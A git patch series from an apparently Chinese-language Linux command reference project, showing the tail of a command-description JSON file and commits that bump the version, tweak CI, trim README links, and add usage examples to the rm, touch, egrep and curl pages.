grep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 22ba4122308392d6d47a116f06491f92ca5cbd19 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 22:10:09 +0800 Subject: [PATCH 0459/1019] released v1.9.1 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 099b7a34d21..744807fa2d5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.9.0", + "version": "1.9.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From f9cfe094cb7d1f90fbd0de17ec45f2af99719866 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 17 Apr 2022 22:45:06 +0800 Subject: [PATCH 0460/1019] chore: update workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2f0e6f80476..fd00fbd81f5 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: - name: Compress linux-command.docset. run: zip -r -y linux-command.docset.zip . -x "node_modules/*" working-directory: .deploy/linux-command.docset - - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ../../ + - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ./ - run: rm -rf .deploy/linux-command.docset - run: cp CONTRIBUTORS.svg .deploy From 3c4d4701cee0be8ad9725eee9a5f06f832c0c4f1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 18 Apr 2022 13:27:18 +0800 Subject: [PATCH 0461/1019] doc: Udpate README.md (#357) --- README.md | 7 ------- 1 file changed, 7 deletions(-) diff --git a/README.md b/README.md index cb23b30b077..9c3199299cf 100644 --- a/README.md +++ b/README.md @@ -240,10 +240,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 软件工具 - [超赞的Linux软件](https://www.gitbook.com/book/alim0x/awesome-linux-software-zh_cn/details) Github仓库[Zh](https://github.com/alim0x/Awesome-Linux-Software-zh_CN) [En](https://github.com/VoLuong/Awesome-Linux-Software) -- [程序员喜欢的9款最佳的Linux文件比较工具](http://os.51cto.com/art/201607/513796.htm) -- [提高 Linux 开发效率的 5 个工具](http://www.codeceo.com/article/5-linux-productivity-tools.html) -- [你要了解的11款面向Linux系统的一流备份实用工具](http://os.51cto.com/art/201603/508027.htm) -- [16个很有用的在线工具](http://www.simlinux.com/archives/264.html) - Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) - [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”，可以查看PDF，还支持各种漫画书格式 - [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 @@ -261,13 +257,10 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - 搜狐开源镜像站：http://mirrors.sohu.com/ - 北京交通大学：http://mirror.bjtu.edu.cn/ \<教育网荐\> - 兰州大学：http://mirror.lzu.edu.cn/ \<西北高校FTP搜索引擎\> -- 厦门大学：http://mirrors.xmu.edu.cn/ - 上海交通大学：http://ftp.sjtu.edu.cn/ - 清华大学：http://mirrors.tuna.tsinghua.edu.cn/ - - http://mirrors6.tuna.tsinghua.edu.cn/ - http://mirrors4.tuna.tsinghua.edu.cn/ - 中国科学技术大学：http://mirrors.ustc.edu.cn/ - - http://ipv4.ustc.edu.cn/ \<教育网、电信\> - http://ipv6.ustc.edu.cn/ \ - 东北大学：http://mirror.neu.edu.cn/ - 浙江大学：http://mirrors.zju.edu.cn/ From d854712ff76bd429289fd35b43af5b4a7d707f20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 20 Apr 2022 14:19:51 +0800 Subject: [PATCH 0462/1019] Update rm.md --- command/rm.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/command/rm.md b/command/rm.md index 6a6a92d0d03..b49d7f13aea 100644 --- a/command/rm.md +++ b/command/rm.md @@ -48,26 +48,32 @@ Remove example ?y（删除文件example) 应注意，这样做是非常危险的! -**rm 命令删除当前目录下的 package-lock.json 文件** +**删除当前目录下的 package-lock.json 文件** ```shell find . -name "package-lock.json" -exec rm -rf {} \; ``` -**rm 命令删除当前目录下的 node_modules 目录** +**查找 *.html 结尾的文件并删除** + +```shell +find ./docs -name "*.html" -exec rm -rf {} \; +``` + +**删除当前目录下的 node_modules 目录** ```shell find . -name 'node_modules' -type d -prune -exec rm -rf '{}' + ``` -**rm 命令删除文件** +**删除文件** ```shell # rm 文件1 文件2 ... rm testfile.txt ``` -**rm 命令删除目录** +**删除目录** > rm -r [目录名称] > -r 表示递归地删除目录下的所有文件和目录。 From 41fc4f52496b97e2acc12274286cb7fbd965286d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Thu, 21 Apr 2022 20:42:35 +0800 Subject: [PATCH 0463/1019] doc: Update touch.md --- command/touch.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/command/touch.md b/command/touch.md index 4085c3c3319..37a1a698718 100644 --- a/command/touch.md +++ b/command/touch.md @@ -39,4 +39,14 @@ touch ex2 在当前目录下建立一个空文件ex2，然后，利用`ls -l`命令可以发现文件ex2的大小为0，表示它是空文件。 +批量创建文件 +```shell +touch file{1..5}.txt +``` + +创建 `job1.md` 文件，并写入 `job 1` + +```shell +echo "job 1" > job1.md +``` From e31c8809502f85469fd8e9f809b739eaa4bd382c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Thu, 21 Apr 2022 20:47:43 +0800 Subject: [PATCH 0464/1019] Update rm.md --- command/rm.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/command/rm.md b/command/rm.md index b49d7f13aea..3c34eb50bc2 100644 --- a/command/rm.md +++ b/command/rm.md @@ -60,6 +60,12 @@ find . -name "package-lock.json" -exec rm -rf {} \; find ./docs -name "*.html" -exec rm -rf {} \; ``` +**删除当前项目下 *.html 结尾的文件** + +```shell +rm -rf *.html +``` + **删除当前目录下的 node_modules 目录** ```shell From a0dad67d31b4e6c0470de5dc6efd82aceebe547d Mon Sep 17 00:00:00 2001 From: clay-wangzhi <34151437+clay-wangzhi@users.noreply.github.com> Date: Tue, 26 Apr 2022 13:35:40 +0800 Subject: [PATCH 0465/1019] Update egrep.md (#358) --- command/egrep.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/egrep.md b/command/egrep.md index 214118d36cc..1b89654ea79 100644 --- a/command/egrep.md +++ b/command/egrep.md @@ -40,4 +40,8 @@ testfile_2:Linux is a free unix-type opterating system testfile_2:Linux test ``` +过滤注释行和空白行 +```shell +egrep -v '^\s*(#|$)' filename +``` From dd0f0886760aa6890ecf8d3f07885ce42aeb362e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 26 Apr 2022 20:17:06 +0800 Subject: [PATCH 0466/1019] doc: Update curl.md (#359) --- command/curl.md | 205 ++++++++++++++++++++++++------------------------ 1 file changed, 101 insertions(+), 104 deletions(-) diff --git a/command/curl.md b/command/curl.md index dc94fee1aec..b263ae5f548 100644 --- a/command/curl.md +++ b/command/curl.md @@ -15,109 +15,106 @@ curl(选项)(参数) ### 选项 -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-a/--append上传文件时，附加到目标文件
-A/--user-agent 设置用户代理发送给服务器
-anyauth可以使用“任何”身份验证方法
-b/--cookie cookie字符串或文件读取位置
     --basic使用HTTP基本验证
-B/--use-ascii使用ASCII /文本传输
-c/--cookie-jar 操作结束后把cookie写入到这个文件中
-C/--continue-at 断点续传
-d/--data HTTP POST方式传送数据
     --data-ascii 以ascii的方式post数据
     --data-binary 以二进制的方式post数据
     --negotiate使用HTTP身份验证
     --digest使用数字身份验证
     --disable-eprt禁止使用EPRT或LPRT
     --disable-epsv禁止使用EPSV
-D/--dump-header 把header信息写入到该文件中
     --egd-file 为随机数据(SSL)设置EGD socket路径
     --tcp-nodelay使用TCP_NODELAY选项
-e/--referer来源网址
-E/--cert 客户端证书文件和密码 (SSL)
     --cert-type 证书文件类型 (DER/PEM/ENG) (SSL)
     --key 私钥文件名 (SSL)
     --key-type 私钥文件类型 (DER/PEM/ENG) (SSL)
     --pass 私钥密码 (SSL)
     --engine 加密引擎使用 (SSL). "--engine list" for list
     --cacert CA证书 (SSL)
     --capath CA目录 (made using c_rehash) to verify peer against (SSL)
     --ciphers SSL密码
     --compressed要求返回是压缩的形势 (using deflate or gzip)
     --connect-timeout 设置最大请求时间
     --create-dirs建立本地目录的目录层次结构
     --crlf上传是把LF转变成CRLF
-f/--fail连接失败时不显示http错误
     --ftp-create-dirs如果远程目录不存在，创建远程目录
     --ftp-method [multicwd/nocwd/singlecwd]控制CWD的使用
     --ftp-pasv使用 PASV/EPSV 代替端口
     --ftp-skip-pasv-ip使用PASV的时候,忽略该IP地址
     --ftp-ssl尝试用 SSL/TLS 来进行ftp数据传输
     --ftp-ssl-reqd要求用 SSL/TLS 来进行ftp数据传输
-F/--form 模拟http表单提交数据
     --form-string 模拟http表单提交数据
-g/--globoff禁用网址序列和范围使用{}和[]
-G/--get以get的方式来发送数据
-H/--header 自定义头信息传递给服务器
     --ignore-content-length忽略的HTTP头信息的长度
-i/--include输出时包括protocol头信息
-I/--head只显示请求头信息
-j/--junk-session-cookies读取文件进忽略session cookie
     --interface 使用指定网络接口/地址
     --krb4 使用指定安全级别的krb4
-k/--insecure允许不使用证书到SSL站点
-K/--config指定的配置文件读取
-l/--list-only列出ftp目录下的文件名称
     --limit-rate 设置传输速度
     --local-port强制使用本地端口号
-m/--max-time 设置最大传输时间
     --max-redirs 设置最大读取的目录数
     --max-filesize 设置最大下载的文件总量
-M/--manual显示全手动
-n/--netrc从netrc文件中读取用户名和密码
     --netrc-optional使用 .netrc 或者 URL来覆盖-n
     --ntlm使用 HTTP NTLM 身份验证
-N/--no-buffer禁用缓冲输出
-o/--output把输出写到该文件中
-O/--remote-name把输出写到该文件中，保留远程文件的文件名
-p/--proxytunnel使用HTTP代理
     --proxy-anyauth选择任一代理身份验证方法
     --proxy-basic在代理上使用基本身份验证
     --proxy-digest在代理上使用数字身份验证
